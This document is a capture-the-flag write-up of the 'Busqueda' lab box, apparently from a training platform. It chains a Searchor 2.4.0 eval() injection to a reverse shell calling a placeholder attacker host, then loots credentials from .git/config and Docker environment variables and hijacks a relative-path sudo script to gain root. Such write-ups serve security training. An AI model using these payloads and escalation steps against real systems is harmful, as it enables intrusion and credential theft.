Busqueda

Jun 02, 2026 Easy

Introduction

Busqueda is an easy Linux box that plays out like a small, realistic engagement: one web bug for the foothold, then a chain of information leaks and a sudo misconfiguration for root. No memory corruption, just reading things carefully.

The foothold is an eval() injection in Searchor 2.4.0, the library powering the search site. That gives a shell as svc. From there the box is about looting: a leftover .git/config exposes a Gitea instance and a set of credentials, and a sudo-runnable “system checkup” script lets us inspect Docker containers, one of which leaks a database password. That password is reused for the Gitea admin, which lets us read the source of the very script we can run as root. The script calls a helper by a relative path, so we drop our own version in the working directory and run it as root.

Enumeration

Service Discovery

BASH
sudo nmap <target_ip> -T4 --min-rate 3500 -p 22,80 -sC -sV -oN scans/service-scan.nmap
BASH
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/

Port 80 redirects to searcher.htb, so I added it to /etc/hosts.

BASH
echo "<target_ip>  searcher.htb gitea.searcher.htb" | sudo tee -a /etc/hosts

The site is a Flask app (the response headers show Werkzeug/2.1.2 Python/3.10.6) that builds search-engine URLs. Its footer gives away the important detail: it is “Powered by Searchor 2.4.0”.

Foothold

Searchor 2.4.0 eval() injection

Searchor built its search URLs by passing the user query straight into eval(). The fix (PR #130) replaced that eval, which tells you exactly what version 2.4.0 does wrong: the query value ends up inside an evaluated Python string. Breaking out of the string lets us run arbitrary Python, and therefore arbitrary commands.

The web form submits engine and query. I put a Python expression in query that shells out for a reverse shell, closing and reopening the surrounding quotes so it evaluates cleanly:

TEXT
' + __import__('os').popen('bash -c "bash -i >& /dev/tcp/<attacker_ip>/<listener_port> 0>&1"').read() + '

Sent through the search request (URL-encoded), with a listener running:

BASH
nc -lvnp <listener_port>

The listener catches a shell as svc. That is the user flag.

BASH
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)

Looting the leftover Git repo

The web root is a Git working tree, and the .git/config still holds the remote it was cloned from, credentials and all.

BASH
svc@busqueda:/var/www/app$ cat .git/config
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

Two facts fall out: there is a Gitea instance at gitea.searcher.htb, and we have cody:jh1usoih2bkjaspwe92. Gitea reports version 1.18.0+rc1, which has no useful public exploit, so these creds are just a foothold into Gitea, not the win. Keep them; the box wants a different Gitea account.

Privilege Escalation

sudo system-checkup.py

BASH
svc@busqueda:~$ sudo -l
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

We can run a specific Python script as root with any arguments. Running it bare shows its actions:

BASH
sudo /usr/bin/python3 /opt/scripts/system-checkup.py
     docker-ps      : List running docker containers
     docker-inspect : Inspect a certain docker container
     full-checkup   : Run a full system checkup

Leaking the Gitea DB password from Docker

docker-ps shows a gitea and a mysql_db container. docker-inspect will dump a container’s full config as root, including its environment variables, which is where Gitea keeps its database password.

BASH
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
# ... grab the gitea container ID ...
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' <gitea_container_id>

Buried in the Env array:

JSON
"Env": [
  "GITEA__database__USER=gitea",
  "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
  ...
]

Password reuse to Gitea admin

That database password, yuiu1hoiu4i5ho1uh, is reused for the Gitea administrator web account. Logging into gitea.searcher.htb as administrator:yuiu1hoiu4i5ho1uh works, and it gives us something specific: read access to the scripts repository, i.e. the source code of system-checkup.py and its helpers.

Reading system-checkup.py reveals how full-checkup runs:

PYTHON
elif action == 'full-checkup':
    arg_list = ['./full-checkup.sh']
    print(run_command(arg_list))

Relative-path script hijack

full-checkup.sh is called by a relative path (./), so it is resolved from whatever directory we launch the sudo command in, not from /opt/scripts. We control our current directory, so we simply provide our own full-checkup.sh.

BASH
cd /tmp
cat > full-checkup.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x full-checkup.sh

# run the sudo script from /tmp so it picks up OUR full-checkup.sh as root
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Our script runs as root and sets the SUID bit on bash. A root shell is one command away:

BASH
/bin/bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) ...

Machine rooted. (A reverse shell inside full-checkup.sh works just as well; SUID bash is simply the most reliable.)

Attack Chain Recap

TEXT
nmap                                     ->  searcher.htb (Flask, Searchor 2.4.0)
Searchor 2.4.0 eval() injection          ->  reverse shell as svc
/var/www/app/.git/config                 ->  gitea.searcher.htb + cody creds
sudo system-checkup.py docker-inspect    ->  GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
password reuse -> Gitea administrator    ->  read source of system-checkup.py
full-checkup.sh called by relative path  ->  plant ./full-checkup.sh -> runs as root
chmod +s /bin/bash -> bash -p            ->  root

Key takeaways

  • A leaked version string is a to-do list. “Searchor 2.4.0” plus a one-line search of its GitHub history (the PR that removed eval) is the entire foothold.
  • .git directories are credential stores. .git/config frequently keeps the clone URL with embedded credentials. Always check it after landing on a web host.
  • Inspect Docker as root to loot secrets. Container environment variables hold database passwords, API keys, and tokens. docker inspect (or a sudo wrapper for it) is a reliable secrets-dump.
  • Password reuse bridges the gap. The DB password was never meant to be a login, but it was reused for the Gitea admin. Try every secret you find against every account.
  • Relative paths in root scripts are game over. If a sudo script calls ./helper instead of /full/path/helper, run it from a directory you control and supply your own helper.

References